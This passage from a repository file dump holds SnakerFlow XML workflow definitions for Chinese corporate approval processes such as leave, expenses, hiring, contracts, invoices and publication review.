    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"转正电子流\" name=\"becomemember\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"563,124,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"转正申请\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"step3\"/>\n    </task>\n    <task assignee=\"step3\" autoExecute=\"Y\" displayName=\"人事负责人\" layout=\"274,206,-1,-1\" name=\"step3\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"step4\"/>\n    </task>\n    <task assignee=\"step4\" autoExecute=\"Y\" displayName=\"总经理\" layout=\"413,205,-1,-1\" name=\"step4\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"step5\"/>\n    </task>\n    <task assignee=\"step5\" autoExecute=\"Y\" displayName=\"董事长\" layout=\"413,123,-1,-1\" name=\"step5\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition7\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/borrow.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"项目借阅审批\" name=\"borrow\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"436,123,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"项目借阅\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/contract.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"业务约定书流程\" name=\"contract\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"570,124,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"业务约定书\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"decision1\"/>\n    </task>\n    <decision displayName=\"decision1\" expr=\"#flag &gt; 1 ? 'transition5' : 'transition4'\" layout=\"426,124,-1,-1\" name=\"decision1\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n        <transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"approveBoss\"/>\n    </decision>\n    <task assignee=\"step3\" displayName=\"董事长审批\" layout=\"404,231,129,52\" name=\"approveBoss\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/customer.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"新增客户审批\" name=\"customer\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"step1\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"620,123,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"客户责任人\" layout=\"117,122,-1,-1\" name=\"step1\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"step2\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理\" layout=\"272,122,-1,-1\" name=\"step2\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"step3\"/>\n    </task>\n    <task assignee=\"step3\" autoExecute=\"Y\" displayName=\"董事长审批\" layout=\"424,121,-1,-1\" name=\"step3\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/daily.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"项目日报审批\" name=\"daily\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"620,123,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"项目组成员\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"项目经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"step3\"/>\n    </task>\n    <task assignee=\"step3\" autoExecute=\"Y\" displayName=\"部门经理审批\" layout=\"424,121,-1,-1\" name=\"step3\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/daily_old.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"项目日报周报审批\" name=\"daily\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"436,123,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"项目日报周报\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"直属上级审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/dimission.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"离职电子流\" name=\"dimission\">\n    <start displayName=\"start1\" layout=\"17,70,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"282,265,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"离职申请\" layout=\"110,68,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"260,68,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"task1\"/>\n    </task>\n    <task autoExecute=\"Y\" displayName=\"人事负责人\" layout=\"415,68,102,52\" name=\"task1\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"task2\"/>\n    </task>\n    <task autoExecute=\"Y\" displayName=\"总经理\" layout=\"419,170,-1,-1\" name=\"task2\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"task3\"/>\n    </task>\n    <task autoExecute=\"Y\" displayName=\"董事长审批\" layout=\"399,263,132,52\" name=\"task3\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/draft.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"项目底稿审批流程\" name=\"draft\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"436,123,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"项目底稿\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/draft2.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"办公用品申购流程\" name=\"office\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"436,123,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"项目底稿\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/entryJob.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"请假流程测试\" name=\"entryJob\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"570,124,-1,-1\" name=\"end1\"/>\n    <task assignee=\"user1\" displayName=\"请假申请\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"user2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"decision1\"/>\n    </task>\n    <decision displayName=\"decision1\" expr=\"#day &gt; 2 ? 'transition5' : 'transition4'\" layout=\"426,124,-1,-1\" name=\"decision1\">\n        <transition displayName=\"&lt;=2天\" g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n        <transition displayName=\"&gt;2天\" g=\"\" name=\"transition5\" offset=\"0,0\" to=\"approveBoss\"/>\n    </decision>\n    <task assignee=\"approveBoss.operator\" displayName=\"总经理审批\" layout=\"404,231,-1,-1\" name=\"approveBoss\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/examination.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"审校及发行审批流程\" name=\"examination\">\n<start displayName=\"start1\" layout=\"45,139,-1,-1\" name=\"start\">\n<transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"submitTest\"/>\n</start>\n<decision displayName=\"decision1\" layout=\"160,238,-1,-1\" name=\"test\">\n<transition displayName=\"初审通过\" expr=\"${test == 1}\" g=\"\" name=\"testOK\" offset=\"0,0\" to=\"submitTest2\"/>\n<transition displayName=\"初审不通过\" expr=\"${test == 0}\" g=\"\" name=\"testNO\" offset=\"0,0\" to=\"reDo\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交复审\" layout=\"138,137,-1,-1\" name=\"submitTest2\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去复审\" g=\"\" name=\"toTest2\" offset=\"0,0\" to=\"test2\"/>\n</task>\n<task autoExecute=\"Y\" displayName=\"返回重做\" layout=\"138,387,-1,-1\" name=\"reDo\" performType=\"ANY\" taskType=\"Major\"/>\n<decision displayName=\"decision1\" layout=\"297,139,-1,-1\" name=\"test2\">\n<transition displayName=\"复审通过\" expr=\"${test == 1}\" g=\"\" name=\"test2OK\" offset=\"0,0\" to=\"submitTest3\"/>\n<transition displayName=\"复审不通过\" expr=\"${test == 0}\" g=\"\" name=\"test2NO\" offset=\"0,0\" to=\"reDo\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交终审\" layout=\"411,137,-1,-1\" name=\"submitTest3\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去终审\" g=\"\" name=\"toTest3\" offset=\"-6,0\" to=\"test3\"/>\n</task>\n<decision displayName=\"decision1\" layout=\"552,139,-1,-1\" name=\"test3\">\n<transition displayName=\"终审不通过\" expr=\"${test == 0}\" g=\"\" name=\"test3NO\" offset=\"0,0\" to=\"reDo\"/>\n<transition displayName=\"终审通过\" expr=\"${test == 1}\" g=\"\" name=\"test3OK\" offset=\"0,-1\" to=\"join4\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交一校\" layout=\"632,135,92,50\" name=\"submitCheck\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去一校\" g=\"\" name=\"toCheck\" offset=\"0,0\" to=\"check\"/>\n</task>\n<decision displayName=\"decision1\" layout=\"789,137,-1,-1\" name=\"check\">\n<transition displayName=\"一校通过\" expr=\"${test == 1}\" g=\"\" name=\"checkOK\" offset=\"-12,0\" to=\"join1\"/>\n<transition displayName=\"一校不通过\" expr=\"${test==0}\" g=\"\" name=\"checkNO\" offset=\"0,0\" to=\"join4\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交二校\" layout=\"1039,135,-1,-1\" name=\"submitCheck2\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去二校\" g=\"\" name=\"toCheck2\" offset=\"0,0\" to=\"check2\"/>\n</task>\n<decision displayName=\"decision1\" layout=\"1061,224,-1,-1\" name=\"check2\">\n<transition displayName=\"二校通过\" expr=\"${test == 1}\" g=\"\" name=\"check2OK\" offset=\"6,0\" to=\"join2\"/>\n<transition displayName=\"二校不通过\" expr=\"${test==0}\" g=\"\" name=\"check2NO\" offset=\"0,0\" to=\"join1\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交三校\" layout=\"632,222,-1,-1\" name=\"submitCheck3\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去三校\" g=\"\" name=\"toCheck3\" offset=\"0,0\" to=\"check3\"/>\n</task>\n<decision displayName=\"decision1\" layout=\"654,304,-1,-1\" name=\"check3\">\n<transition displayName=\"三校通过\" expr=\"${test == 1}\" g=\"\" name=\"check3OK\" offset=\"0,0\" to=\"join3\"/>\n<transition displayName=\"三校不通过\" expr=\"${test==0}\" g=\"\" name=\"check3NO\" offset=\"0,0\" to=\"join2\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交发行\" layout=\"1039,302,-1,-1\" name=\"submitPublish\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去发行\" g=\"\" name=\"toPublish\" offset=\"0,0\" to=\"publish\"/>\n</task>\n<decision displayName=\"发行审批\" layout=\"1061,389,-1,-1\" name=\"publish\">\n<transition displayName=\"发行通过\" expr=\"${test == 1}\" g=\"\" name=\"publishOK\" offset=\"0,0\" to=\"doPack\"/>\n<transition displayName=\"发行不通过\" expr=\"${test==0}\" g=\"\" name=\"publishNO\" offset=\"0,0\" to=\"join3\"/>\n</decision>\n<end displayName=\"end1\" layout=\"545,389,-1,-1\" name=\"end1\"/>\n<task autoExecute=\"Y\" displayName=\"打包发行\" layout=\"632,387,-1,-1\" name=\"doPack\" performType=\"ANY\" taskType=\"Major\">\n<transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"end1\"/>\n</task>\n<join displayName=\"join1\" layout=\"901,137,-1,-1\" name=\"join1\">\n<transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"submitCheck2\"/>\n</join>\n<join displayName=\"join2\" layout=\"854,224,-1,-1\" name=\"join2\">\n<transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"submitCheck3\"/>\n</join>\n<join displayName=\"join3\" layout=\"854,304,-1,-1\" name=\"join3\">\n<transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"submitPublish\"/>\n</join>\n<join displayName=\"join4\" layout=\"552,52,-1,-1\" name=\"join4\">\n<transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"submitCheck\"/>\n</join>\n<task assignee=\"${user}\" autoExecute=\"N\" displayName=\"提交初审\" layout=\"23,236,-1,-1\" name=\"submitTest\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去初审\" g=\"\" name=\"toTest\" offset=\"-6,-2\" to=\"test\"/>\n</task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/expense.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"报销电子流\" name=\"expense\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"570,124,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"费用报销\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"decision1\"/>\n    </task>\n    <decision displayName=\"decision1\" expr=\"#flag &gt; 1 ? 'transition5' : 'transition4'\" layout=\"426,124,-1,-1\" name=\"decision1\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n        <transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"approveBoss\"/>\n    </decision>\n    <task assignee=\"step3\" displayName=\"总经理/董事长审批\" layout=\"402,230,125,52\" name=\"approveBoss\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/hire.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"招聘录用电子流\" name=\"hire\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"570,124,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"招聘录用\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"decision1\"/>\n    </task>\n    <decision displayName=\"decision1\" expr=\"#flag &gt; 1 ? 'transition5' : 'transition4'\" layout=\"426,124,-1,-1\" name=\"decision1\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n        <transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"approveBoss\"/>\n    </decision>\n    <task assignee=\"step3\" displayName=\"董事长审批\" layout=\"402,230,125,52\" name=\"approveBoss\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/invoice.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"项目发票及收款流程\" name=\"invoice\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"692,122,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"项目发票\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"decision1\"/>\n    </task>\n    <decision displayName=\"decision1\" expr=\"#flag &gt; 1 ? 'transition5' : 'transition4'\" layout=\"426,124,-1,-1\" name=\"decision1\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"step4\"/>\n        <transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"approveBoss\"/>\n    </decision>\n    <task assignee=\"step3\" displayName=\"董事长审批\" layout=\"404,231,-1,-1\" name=\"approveBoss\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"step4\"/>\n    </task>\n    <task assignee=\"step4\" autoExecute=\"Y\" displayName=\"财务人员审批\" layout=\"529,121,-1,-1\" name=\"step4\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition7\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/leave.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"请假流程测试\" name=\"leave\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"680,122,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"请假申请\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"decision1\"/>\n    </task>\n    <decision displayName=\"decision1\" expr=\"#day &gt; 2 ? 'transition5' : 'transition4'\" layout=\"426,124,-1,-1\" name=\"decision1\">\n        <transition displayName=\"&lt;=1天\" g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n        <transition displayName=\"&gt;2天\" g=\"\" name=\"transition5\" offset=\"0,0\" to=\"approveBoss\"/>\n    </decision>\n    <task assignee=\"step3\" displayName=\"总经理审批\" layout=\"404,231,-1,-1\" name=\"approveBoss\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"end1\"/>\n        <transition displayName=\"&gt;=3天\" g=\"\" name=\"transition7\" offset=\"0,0\" to=\"task1\"/>\n    </task>\n    <task autoExecute=\"Y\" displayName=\"董事长审批\" layout=\"657,232,-1,-1\" name=\"task1\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition8\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/leaveNew.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"请假流程\" name=\"leaveNew\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"first\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"570,124,-1,-1\" name=\"end1\"/>\n    <task assignee=\"user1\" displayName=\"请假申请\" layout=\"125,122,-1,-1\" name=\"first\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"user2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"last\"/>\n    </task>\n    <task assignee=\"user3\" displayName=\"总经理审批\" layout=\"414,121,-1,-1\" name=\"last\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/member.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"项目成员结算审批流程\" name=\"member\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"436,123,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"项目成员结算\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/money.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"办公用品申购流程\" name=\"office\">\n    <start displayName=\"start1\" layout=\"38,125,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"713,122,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"出纳\" layout=\"127,121,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"265,121,110,52\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"node3\"/>\n    </task>\n    <task assignee=\"step3\" autoExecute=\"Y\" displayName=\"分管副总经理\" layout=\"425,120,-1,-1\" name=\"node3\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"node4\"/>\n    </task>\n    <task assignee=\"step4\" autoExecute=\"Y\" displayName=\"董事长审批\" layout=\"568,119,-1,-1\" name=\"node4\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/office.snaker",
